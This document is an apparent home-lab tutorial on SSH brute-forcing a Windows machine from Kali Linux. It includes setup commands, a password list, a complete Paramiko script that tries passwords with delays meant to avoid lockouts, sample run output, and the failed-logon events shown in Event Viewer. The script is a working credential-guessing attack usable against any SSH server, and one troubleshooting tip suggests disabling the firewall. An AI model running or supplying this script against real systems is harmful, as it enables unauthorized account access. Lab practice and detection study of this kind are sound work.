SSH Brute-Force Testing on Windows:

---

1. Objective

Perform a controlled SSH brute-force password attack simulation on a Windows machine from a Kali/Linux attacker machine using Python and Paramiko.

---

2. Prerequisites

- **Attacker machine:** Kali Linux or any Linux with Python3 and Paramiko installed
- **Target machine:** Windows 10/11 with OpenSSH Server installed and running
- **Network:** Both machines must be reachable via IP
- **Password list:** A file (`passwords.txt`) with candidate passwords, one per line

---

3. Setting Up OpenSSH Server on Windows

3.1 Install OpenSSH Server

- Go to **Settings** → **Apps** → **Optional Features**
- Click **Add a feature**
- Search for **OpenSSH Server** and click **Install**

3.2 Start and Enable SSH Service

Open **PowerShell as Administrator** and run:

```
Start-Service sshd
Set-Service -Name sshd -StartupType 'Automatic'
New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH SSH Server'
-Enabled True -Direction Inbound -Protocol TCP -Action Allow
-LocalPort 22
```

3.3 Verify SSH Service Status

```
Get-Service sshd
```

Should show `Status : Running`

---

4. Verify Network Connectivity

From the attacker machine, test connection:

```
ping <target_ip>
nmap -p 22 <target_ip>
```

Ensure port 22 is open.

---

5. Manual SSH Login Test

Try manual login from attacker machine:

```
ssh <username>@<target_ip>
```

- Confirm you can connect with the correct password.
- If the connection resets or refuses, fix SSH service or firewall first.

Creating the Required Files for SSH Brute-Force Testing:

1. Create a dedicated folder on Desktop:
   Name the folder `ssh_attack` to keep all related files organized and easily accessible.

2. Within the `ssh_attack` folder, create two files:
   - `ssh_bruteforce.py` — This will contain the Python script to perform the brute-force attack.
   - `passwords.txt` — This file will hold the list of candidate passwords, each on its own line.

3. Save the Python script (`ssh_bruteforce.py`) and the password list (`passwords.txt`) inside the `ssh_attack` folder.

6. Prepare Password List

Create `passwords.txt` with one password per line, for example:

```
wrongpass1
wrongpass2
123456
password
admin
Letmein
Testpass
pas123
qwerty
...
```

---

7. Python Brute-Force Script

Save this as `ssh_bruteforce.py`:

```
import paramiko
import time
import sys
from pathlib import Path

def load_passwords(file_path):
    path = Path(file_path)
    if not path.is_file():
        print(f"[ERROR] Password file not found: {file_path}")
        sys.exit(1)
    with open(path, 'r', encoding='utf-8') as f:
        pwds = [line.strip() for line in f if line.strip()]
    print(f"[INFO] Loaded {len(pwds)} passwords from '{file_path}'.")
    return pwds

def ssh_bruteforce(target_ip, username, password_file, delay=10):
    passwords = load_passwords(password_file)
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    print(f"Starting brute-force attack on {target_ip} with user
'{username}'...\n")

    for idx, pwd in enumerate(passwords, 1):
        try:
            print(f"Attempt {idx}/{len(passwords)}: Trying password
'{pwd}'")
            ssh.connect(target_ip, username=username, password=pwd,
timeout=5)
            print(f"\n[SUCCESS] Login succeeded with password:
'{pwd}'")
            ssh.close()
            return True

        except paramiko.AuthenticationException:
```

```
            print("[FAILURE] Authentication failed.")

        except paramiko.SSHException as e:
            print(f"[WARNING] SSH error: {e}. Retrying after longer
delay...")
            time.sleep(delay * 3)
            continue

        except ConnectionResetError as e:
            print(f"[WARNING] Connection reset by peer: {e}. Retrying
after longer delay...")
            time.sleep(delay * 5)
            continue

        except Exception as e:
            print(f"[ERROR] Connection failed: {e}")
            break

        time.sleep(delay)

    print("\n[INFO] Brute-force attack finished. No valid password
found.")
    return False

if __name__ == "__main__":
    target_ip = input("Enter target IP address: ").strip()
    username = input("Enter target username: ").strip()

    # Fix: load password file from script's directory
    script_dir = Path(__file__).parent
    password_file = script_dir / "passwords.txt"

    delay_seconds = 10  # delay to avoid lockouts

    ssh_bruteforce(target_ip, username, password_file, delay_seconds)
```

8. Running the Script

Run the script in terminal:

```
python3 ~/Desktop/ssh_attack/ssh_bruteforce.py
```

- Enter the **target IP** and **username** when prompted.
- The script will attempt each password in `passwords.txt`.

---

9. Understanding the "Connection reset by peer" Error

If you see:

```
Socket exception: Connection reset by peer (104)
```

Possible Causes & Solutions:

- **Too many login attempts too quickly:** Increase delay between attempts (e.g., 15-30 seconds).
- **Windows Firewall blocking your attempts:** Temporarily disable firewall or add an inbound rule allowing SSH port 22.
- **SSH service not running or misconfigured:** Restart sshd service on Windows.
- **Incorrect IP or port:** Confirm target IP and SSH port are correct.

10. Result

Running ssh_bruteforce.py from linux terminal and showing result from Event Viewer:

```
┌──(kali㉿kali)-[~]
└─$ python3 ~/Desktop/ssh_attack/ssh_bruteforce.py

Enter target IP address: 192.168.68.101
Enter target username: Oyon
[INFO] Loaded 10 passwords from '/home/kali/Desktop/ssh_attack/passwords.txt'.
Starting brute-force attack on 192.168.68.101 with user 'Oyon' ...

Attempt 1/10: Trying password 'wrongpass1'
[FAILURE] Authentication failed.
Attempt 2/10: Trying password 'wrongpass2'
[FAILURE] Authentication failed.
Attempt 3/10: Trying password 'wrongpass3'
[FAILURE] Authentication failed.
Attempt 4/10: Trying password '123456'
[FAILURE] Authentication failed.
Attempt 5/10: Trying password 'password'
[FAILURE] Authentication failed.
Attempt 6/10: Trying password 'admin'
[FAILURE] Authentication failed.
Attempt 7/10: Trying password 'letmein'
[FAILURE] Authentication failed.
Attempt 8/10: Trying password '1234'
[FAILURE] Authentication failed.
Attempt 9/10: Trying password 'pass123'
[FAILURE] Authentication failed.
Attempt 10/10: Trying password 'qwerty'
[FAILURE] Authentication failed.

[INFO] Brute-force attack finished. No valid password found.

┌──(kali㉿kali)-[~]
└─$
```

FIG: Linux Terminal

Security Number of events: 146

Filtered: Log: Security; Source: ; Event ID: 4625. Number of events: 10

Keywords	Date and Time	Source	Event ID	Task Category
Audit Failure	5/21/2025 3:30:48 PM	Microsoft Windo...	4625	Logon
Audit Failure	5/21/2025 3:30:38 PM	Microsoft Windo...	4625	Logon
Audit Failure	5/21/2025 3:30:27 PM	Microsoft Windo...	4625	Logon
Audit Failure	5/21/2025 3:30:17 PM	Microsoft Windo...	4625	Logon
Audit Failure	5/21/2025 3:30:07 PM	Microsoft Windo...	4625	Logon
Audit Failure	5/21/2025 3:29:57 PM	Microsoft Windo...	4625	Logon
Audit Failure	5/21/2025 3:29:47 PM	Microsoft Windo...	4625	Logon
Audit Failure	5/21/2025 3:29:37 PM	Microsoft Windo...	4625	Logon
Audit Failure	5/21/2025 3:29:27 PM	Microsoft Windo...	4625	Logon
Audit Failure	5/21/2025 3:29:17 PM	Microsoft Windo...	4625	Logon

FIG: Event Viewer failed login attempt

Summary Table

Step	Purpose	Key Commands / Actions
Install OpenSSH Server	Enable SSH on Windows	Settings → Apps → Optional Features
Start SSH service	Make SSH accessible	`Start-Service sshd` (PowerShell)
Allow SSH firewall rule	Allow network access	`New-NetFirewallRule` or disable firewall
Verify SSH status	Confirm SSH running	`Get-Service sshd`
Verify network	Check port open	`ping`, `nmap -p 22 <target_ip>`
Manual SSH test	Confirm credentials	`ssh username@target_ip`
Prepare password list	Candidate passwords	Create `passwords.txt` with one password/line
Run brute-force script	Automated password attempts	`python3 ssh_bruteforce.py`
Troubleshoot errors	Fix resets and connection issues	Increase delay, check firewall, verify IP/port